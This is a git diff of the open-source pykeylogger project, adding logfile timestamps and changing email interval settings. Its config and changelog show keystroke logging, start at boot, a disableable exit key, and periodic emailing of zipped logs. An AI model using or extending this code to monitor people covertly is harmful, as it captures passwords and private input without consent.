diff --git a/CHANGELOG.TXT b/CHANGELOG.TXT index 7f8f690..60314ac 100644 --- a/CHANGELOG.TXT +++ b/CHANGELOG.TXT @@ -7,9 +7,10 @@ Version 0.7.0 (2006-07-19) *) Fixed bug where error output was not properly translated to string (cf. http://sourceforge.net/forum/forum.php?thread_id=1418377&forum_id=493189) *) Refactored code so that the set of loggable characters only gets set up once. *) Make autoflush also flush the systemlog if it exists. -*) New feature: Make pykeylogger read the configuration from a .ini file, rather than from commandline options. This really simplifies running pykeylogger, especially where starting it with the system boot is desired. This also makes pykeylogger more easily expandable with new features. -*) New feature: automatically zip up the logfiles and send the zip by email periodically (configurable through the .ini file) +*) New Feature: Make pykeylogger read the configuration from a .ini file, rather than from commandline options. This really simplifies running pykeylogger, especially where starting it with the system boot is desired. This also makes pykeylogger more easily expandable with new features. +*) New Feature: automatically zip up the logfiles and send the zip by email periodically (configurable through the .ini file) *) New Feature: automatically delete logfiles older than X days (configurable through the .ini file) +*) New Feature: automatically place a timestamp into the file at preset interval, and every time when starting to write to a logfile (configurable through the .ini file) ----- Version 0.6.7 (2005-11-25) diff --git a/keylogger.pyw b/keylogger.pyw index 5b38812..a17de2d 100644 --- a/keylogger.pyw +++ b/keylogger.pyw @@ -67,6 +67,7 @@ class KeyLogger: self.settings = dict(self.config.items('general')) self.settings.update(dict(self.config.items('email'))) self.settings.update(dict(self.config.items('logmaintenance'))) + self.settings.update(dict(self.config.items('timestamp'))) self.settings.update(self.options.__dict__) if __name__ == '__main__': diff --git a/logwriter.py b/logwriter.py index 5dd4b49..c15960b 100644 --- a/logwriter.py +++ b/logwriter.py @@ -65,7 +65,7 @@ class LogWriter: # initialize the automatic zip and email timer, if enabled in .ini if self.settings['smtpsendemail'] == 'True': - self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60, 0, self.ZipAndEmailTimerAction) + self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60*60, 0, self.ZipAndEmailTimerAction) self.emailtimer.start() # initialize automatic old log deletion timer @@ -73,6 +73,10 @@ class LogWriter: self.oldlogtimer = mytimer.MyTimer(float(self.settings['agecheckinterval'])*60*60, 0, self.DeleteOldLogs) self.oldlogtimer.start() + if self.settings['timestampenable'] == 'True': + self.timestamptimer = mytimer.MyTimer(float(self.settings['timestampinterval'])*60, 0, self.WriteTimestamp) + self.timestamptimer.start() + # initialize the automatic log flushing timer self.flushtimer = mytimer.MyTimer(float(self.settings['flushinterval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"]) self.flushtimer.start() @@ -208,6 +212,9 @@ class LogWriter: except: self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") return False + + #write the timestamp upon opening the logfile + if self.settings['timestampenable'] == 'True': self.WriteTimestamp() self.PrintDebug("writing to: " + self.writeTarget + "\n") return True @@ -264,15 +271,18 @@ class LogWriter: except: self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n") return False + + #write the timestamp upon opening a new logfile + if self.settings['timestampenable'] == 'True': self.WriteTimestamp() return True def PrintStuff(self, stuff): '''Write stuff to log, or to debug outputs. ''' - if not self.settings['debug']: + if not self.settings['debug'] and self.log != None: self.log.write(stuff) - else: + if self.settings['debug']: self.PrintDebug(stuff) def PrintDebug(self, stuff): @@ -283,6 +293,9 @@ class LogWriter: if self.settings['systemlog'] != 'None': self.systemlog.write(stuff) + def WriteTimestamp(self): + self.PrintStuff("\n[" + time.asctime() + "]\n") + def DeleteOldLogs(self): '''Walk the log directory tree and remove any logfiles older than maxlogage (as set in .ini). ''' @@ -319,6 +332,8 @@ class LogWriter: self.emailtimer.cancel() if self.settings['deleteoldlogs'] == 'True': self.oldlogtimer.cancel() + if self.settings['timestampenable'] == 'True': + self.timestamptimer.cancel() if __name__ == '__main__': #some testing code diff --git a/pykeylogger.ini b/pykeylogger.ini index bfc71ce..4a4d8b2 100644 --- a/pykeylogger.ini +++ b/pykeylogger.ini @@ -1,81 +1,118 @@ [general] -# set dirname to the full path of directory where you want logs to be written +# Set dirname to the full path of directory where you want logs to be written. +# default: C:\Temp\logdir dirName=C:\Temp\logdir # Log keyboard input +# default: True hookKeyboard=True -# add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) +# Add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) +# default: False addLineFeed=False -# translate backspace chacarter into printable string +# Translate backspace chacarter into printable string +# default: False parseBackspace=False -# translate escape chacarter into printable string +# Translate escape chacarter into printable string +# default: False parseEscape=False -# specify the key to press to exit keylogger (hint: to disable key, just set to a nonexistent key) +# Specify the key to press to exit keylogger (hint: to disable key, just set to a nonexistent key) +# default: F12 exitKey=F12 -# specify the key to press to flush write buffer to file (hint: to disable key, just set to a nonexistent key. buffer will still be flushed automatically.) +# Specify the key to press to flush write buffer to file (hint: to disable key, just set to a nonexistent key. buffer will still be flushed automatically.) +# default: F11 flushKey=F11 -#specify one or more applications by full path name whose input will not be logged. separate multiple applications with semicolon ";". +# Specify one or more applications by full path name whose input will not be logged. separate multiple applications with semicolon ";". +# Leave as "None" to log all applications. +# default: None noLog=None -# log all output to one file (filename specified here), inside directory specified with dirName, rather than to multiple files. -# leave as "None" to let logging take place to multiple files +# Log all output to one file (filename specified here), inside directory specified with dirName, rather than to multiple files. +# Leave as "None" to let logging take place to multiple files +# default: None oneFile=None -# specify the time interval between buffer autoflush events, in seconds. (used to be "interval") +# Specify the time interval between buffer autoflush events, in seconds. +# default: 120 flushInterval=120 -# log all output, plus some debug output, to a systemlog file (filename specified here), inside directory specified with dirName -systemLog=systemlog.txt +# Log some debug/informational output, to a systemlog file (filename specified here), inside directory specified with dirName +# Set to None to disable +# default: None +systemLog=None [email] # Set to True to enable automatic periodic emails of a zipped archive of logfiles +# default: False smtpSendEmail=False # Set to True if your smtp server requires a login with username/password +# default: True smtpNeedsLogin=True # Set to your username (only needed if your smtp server requires a login) +# default: yourusername smtpUsername=yourusername # Set to your password (only needed if your smtp server requires a password) +# default: yourpassword smtpPassword=yourpassword # Set to the hostname of your smtp server +# default: your.smtp.server smtpServer=your.smtp.server # Set to the email address that you want to appear in the "From" line in your email +# default: yourfromaddress@host.com smtpFrom=yourfromaddress@host.com # Set to the email address that you want to appear in the "To" line in your email. Separate multiple addresses semicolon ";". +# default: yourtoaddress@host.com smtpTo=yourtoaddress@host.com # Set to the text you want to appear in the Subject line in your email +# default: Automatic Logfile Email smtpSubject=Automatic Logfile Email # Set to the text that you want to appear in the message body of your email +# default: Please see attached zipfile. smtpMessageBody=Please see attached zipfile. -# Specify the time interval between automatic log email events, in minutes (default of 4 hours = 240min) -emailInterval=240 +# Specify the time interval between automatic log email events, in hours. +# default: 4.0 +emailInterval=4.0 -# specify the filename for the zip archive that will be emailed to you +# Specify the filename for the zip archive that will be emailed to you +# default: logzip.zip zipArchiveName=logzip.zip [logmaintenance] # Set to True to enable automatic deletion of old logs +# default: False deleteOldLogs=False -# Set to the maximum age of the logs that you want to keep, in days. Logs older than this will be deleted. (default of 2 days) +# Set to the maximum age of the logs that you want to keep, in days. Logs older than this will be deleted. +# default: 2.0 maxLogAge=2.0 -# Set to the frequency of checking for and deleting logs older than maxLogAge, in hours. (default 2 hours) -ageCheckInterval=2 \ No newline at end of file +# Set to the frequency of checking for and deleting logs older than maxLogAge, in hours. +# default: 2.0 +ageCheckInterval=2.0 + +[timestamp] + +# Set this to True to enable periodic timestamps in the logfiles +# default: True +timestampEnable=True + +# Set this to time interval (in minutes) between the timestamps +# default: 30.0 +timestampInterval=30.0 \ No newline at end of file